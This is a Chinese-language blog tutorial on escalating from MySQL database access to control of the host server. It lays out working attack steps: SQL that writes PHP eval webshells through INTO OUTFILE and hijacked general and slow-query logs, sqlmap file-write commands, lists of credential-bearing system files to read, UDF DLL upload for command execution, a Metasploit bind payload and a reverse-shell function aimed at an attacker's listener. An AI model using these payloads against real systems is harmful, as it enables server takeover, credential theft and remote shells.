MySQL提权
本文最后更新于 38 天前,其中的信息可能已经有所发展或是发生改变。

有师傅问到我相关的问题,我也正好来研究一下

首先了解一下

MySQL数据库提权思路

  • 检测数据库存在,探测端口
  • 获得数据库的权限密码
  • 查看数据库类型

其中获取密码是账号密码是关键

其中拿到权限的方法基本就这几种

  • 3306弱口令爆破
  • sqlmap的-sql-shell模式
  • 网站的数据库配置文件
  • 1day漏洞获取权限

在我自己的理解就是,利用数据库去提权到服务器

简单来说,就是得先有数据库的访问权限才可以,然后通过各种方法提权至操作系统

Webshell权限

知道网站的物理路径并且有该路径写入权限
高权限数据库用户
secure_file_priv无限制load_file ()可用

可以用基础的查询语句看是否有限制

show variables like "secure_file_priv";
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name   | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set, 1 warning (0.01 sec)
value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制导出的目录

其中对MySQL版本中,5.5之前的配置默认是空的,所以可以向任意路径写入文件

在5.5以后配置默认是NULL,这就没办法写入文件

如果满足上面的条件,就可以利用SQL语句写入shell

通过into outfile写入文件

以写入phpinfo为例

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

或者实际中

Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';

也可以通过创建表进行

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd://Wh0ale.php';
DROP TABLE IF EXISTS `darkmoon`;

sqlmap的操作

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/path/to/shell.php" --file-dest="/var/www/html/test/shell.php"

研究MySQL可以使用Navicat Premium去研究

在一般情况下Linux系统下分配比较严格

一些常用的系统配置文件

Windows下的

1. c:/boot.ini //查看系统版本
2. c:/windows/php.ini //php配置信息
3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
4. c:/winnt/php.ini
5. c:/winnt/my.ini
6. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8. c:\Program Files\Serv-U\ServUDaemon.ini
9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
10. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe
13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
14. //存储了pcAnywhere的登陆密码
15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
16. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
18. d:\APACHE\Apache2\conf\httpd.conf
19. C:\Program Files\mysql\my.ini
20. C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

Linux/Unix下的

1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2. /usr/local/apache2/conf/httpd.conf
3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4. /usr/local/app/php5/lib/php.ini //PHP相关设置
5. /etc/sysconfig/iptables //从中得到防火墙规则策略
6. /etc/httpd/conf/httpd.conf // apache配置文件
7. /etc/rsyncd.conf //同步程序配置文件
8. /etc/my.cnf //mysql的配置文件
9. /etc/redhat-release //系统版本
10. /etc/issue
11. /etc/issue.net
12. /usr/local/app/php5/lib/php.ini //PHP相关设置
13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
22. /etc/sysconfig/iptables 查看防火墙策略
23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

通过terminated by写入文件

?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

通过general log写文件

因为MySQL 5.0以上版本会创建日志文件,可以通过修改日志文件的全局变量来getshell

可以通过语句查询,general_log,一般是默认关闭的,开启后可记录用户输入的每条指令,会把其保存到对应的日志文件中

mysql> show variables like 'general%';
+------------------+--------------------------------------------------------------------------+
| Variable_name   | Value                                                                   |
+------------------+--------------------------------------------------------------------------+
| general_log     | OFF                                                                     |
| general_log_file | D:\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\data\LAPTOP-CC5EB5VC.log |
+------------------+--------------------------------------------------------------------------+
2 rows in set, 1 warning (0.01 sec)

可以通过feneral_log存储位置改为web目录,同时向日志文件写入内容

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name   | Value                       |
+------------------+-----------------------------+
| general_log     | ON                         |
| general_log_file | /var/www/html/shell.php     |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

写入成功了,但是文件是由MySQL创建的,其他用户没有权限的

当我们去访问时会出现500状态码,Linux 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,我们对此文件没有read权限

慢查询写入shell

就是利用数据库的慢查询日志功能,通过漏洞或配置问题,执行恶意命令(写入shell)控制服务器

那么什么叫慢查询日志呢?

在MySQL等数据库中呢,慢查询日志是一个记录执行时间超过指定阙值的查询的日志文件,作用是帮助管理员分析哪些查询语句执行的比较慢,从而进行优化

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可精确到微秒

mysql> show global variables like '%long_query_time%';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:   11
Current database: *** NONE ***

+-----------------+-----------+
| Variable_name   | Value     |
+-----------------+-----------+
| long_query_time | 10.000000 |
+-----------------+-----------+
1 row in set, 1 warning (0.01 sec)

一般执行sql语句是执行时间不会超过10s的,默认是禁用状态

# 开启慢查询日志
set global slow_query_log="ON";
# 设置慢查询的日志路径
set global slow_query_log_file="/var/www/html/x1ong.php";
# 当一个查询超过long_query_time所定义的值的时候,会将该查询记录到日志中
mysql> select '<?php phpinfo();?>' or sleep(10);
+-----------------------------------+
| '<?php phpinfo();?>' or sleep(10) |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set, 1 warning (10.00 sec)

# /var/www/html/x1ong.php 慢查询日志文件中的内容:
/usr/sbin/mysqld, Version: 5.7.38 (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /var/lib/mysql/mysql.sock
Time                 Id Command   Argument
# Time: 2023-07-25T02:26:26.779972Z
# User@Host: root[root] @ localhost [] Id:     3
# Query_time: 10.000190 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
SET timestamp=1690251986;
select '<?php phpinfo();?>' or sleep(10);

写入成功了,但仍然文件是由MySQL创建的,我们是不能去访问的,但是可以用webshell工具了就

Hash破解

这种就假设SQL注入存在DBA提权(即数据库管理员,超级权限用户)同时我们对3306端口可访问的通,就可以通过提取MySQL的hash来解密

对MySQL版本有要求,要求MySQL版本 <= 5.6 (基本比较少见了)

UDF提权

UDF -- user defined function - 自定义函数,数据库功能的扩展,用户可以通过自定义函数可实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数version()一样,但是对MySQL版本仍然有限制,紧使用于MySQL 5.5.9以下版本

动态链接库

如果是MySQL >= 5.1版本,必须把UDF的动态链接库文件放置于MySQL安装目录下的lib/plugin文件夹下才能创建自定义函数

sqlmap中的动态链接文件

/path/to/sqlmap/data/udf/mysql

其中sqlmap自带的动态链接库为了防止被误杀都经过了编码处理,不能被直接使用,都是需要他自带的脚本进行解码后使用的(cloak.py)

msf中的动态链接库文件

/path/to/msf/embedded/framework/data/exploits/mysql

插入目录存放位置

show variables like '%plugin%';

写入动态链接库

SQL注入且最高权限,plugin目录可以写且需要secure_file_priv无限制,MySQL插件目录可以被MySQL用户写入,可以通过sqlmap来上传动态链接库,又因为GET有字节长度限制,所以常通过POST注入才可以执行攻击

sqlmap -u "http://172.20.10.5/sql/Less-1/" --data="id=1" \
--file-write="/Users/x1ong/Downloads/lib_mysqludf_sys_32.dll" \          
--file-dest="C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"

执行sql语句

将动态链接库文件先在本地进行十六进制编码,接着将编码的内容导出至 udf.txt 文件中(需要有 secure_file_priv 权限)

mysql> select hex(load_file('C:\lib_mysqludf_sys_32.dll')) into dumpfile C:\udf.txt";
Query OK, 1 row affected (0.00 sec)

其中这里必须使用dumpfike,由于outfile导出的末行有换行符,导致内容跟原文件内容存在差异,这一步得到lib_mysqludf_sys_32.dll 文件的十六进制内容

可利用MySQL自带的hex函数来编码

selext 0x4D5A90000300000004000000FFFF..... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"

执行sql命令写入dll文件可使用load_file()函数查看该文件

创建自定义函数

mysql> select * from mysql.func;
Empty set (0.00 sec)

命令执行即可

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

mysql> select sys_eval("whoami");
+-------------------------------+
| sys_eval("whoami")           |
+-------------------------------+
| win-ehv7hmk07c1\administrator |
+-------------------------------+
1 row in set (0.06 sec)

删除函数

mysql > drop function sys_eval;

msf相关模块的利用

利用条件是mysql运行远程登陆

msf6 > set payload linux/x86/shell/bind_tcp

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了

UDF 命令执行大马:https://github.com/echohun/tools/blob/master/大马/udf.php

反弹shell提权

cmdshell        # 执行cmd
downloader      # 下载者,到网上下载指定文件并保存到指定目录
open3389        # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell       # 反弹Shell
ProcessView     # 枚举系统进程
KillProcess     # 终止指定进程
regread         # 读注册表
regwrite        # 写注册表
shut            # 关机,注销,重启
about           # 说明与帮助函数

相比其他方法这个有些老了

也是利用动态链接库

这里有两个

https://github.com/Geekby/langouster_udf
https://x1ong.lanzouq.com/iGD2A13ht84d

在攻击机上开启监听,然后再在目标机上导入dll动态链接库创建自定义函数

CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

进行反弹shell

select backshell("IP", 2333);

持续更新~~~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇